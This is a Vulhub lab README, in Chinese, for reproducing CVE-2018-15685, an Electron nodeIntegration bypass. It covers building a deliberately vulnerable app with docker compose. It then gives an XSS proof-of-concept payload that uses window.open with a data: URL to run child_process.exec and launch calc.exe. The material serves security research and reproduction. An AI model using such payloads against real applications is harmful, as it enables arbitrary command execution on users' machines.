Files
vulhub/electron/CVE-2018-15685/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

49 lines
1.7 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Electron WebPreferences 远程命令执行漏洞CVE-2018-15685
Electron是由Github开发用HTMLCSS和JavaScript来构建跨平台桌面应用程序的一个开源库。 Electron通过将Chromium和Node.js合并到同一个运行时环境中并将其打包为MacWindows和Linux系统下的应用来实现这一目的。
Electron在设置了`nodeIntegration=false`的情况下默认页面中的JavaScript无法访问node.js的内置库。CVE-2018-15685绕过了该限制导致在用户可执行JavaScript的情况下如访问第三方页面或APP存在XSS漏洞时能够执行任意命令。
参考链接:
- https://electronjs.org/blog/web-preferences-fix
- https://www.contrastsecurity.com/security-influencers/cve-2018-15685
## 编译APP
执行如下命令编译一个包含漏洞的应用:
```
docker compose run -e PLATFORM=win64 --rm electron
```
其中PLATFORM的值是运行该应用的操作系统可选项有`win64``win32``mac``linux`
编译完成后再执行如下命令启动web服务
```
docker compose run --rm -p 8080:80 web
```
此时,访问`http://your-ip:8080/cve-2018-15685.tar.gz`即可下载编译好的应用。
## 复现漏洞
在本地打开应用:
![](1.png)
点击提交输入框中的内容将会显示在应用中显然这里存在一处XSS漏洞。
我们提交`<img src=1 onerror="require('child_process').exec('calc.exe')">`,发现没有任何反馈,原因就是`nodeIntegration=false`
此时提交POCWindows
```
<img src=1 onerror="window.open().open('data:text/html,<script>require(\'child_process\').exec(\'calc.exe\')</script>');">
```
可见calc.exe已成功弹出
![](2.png)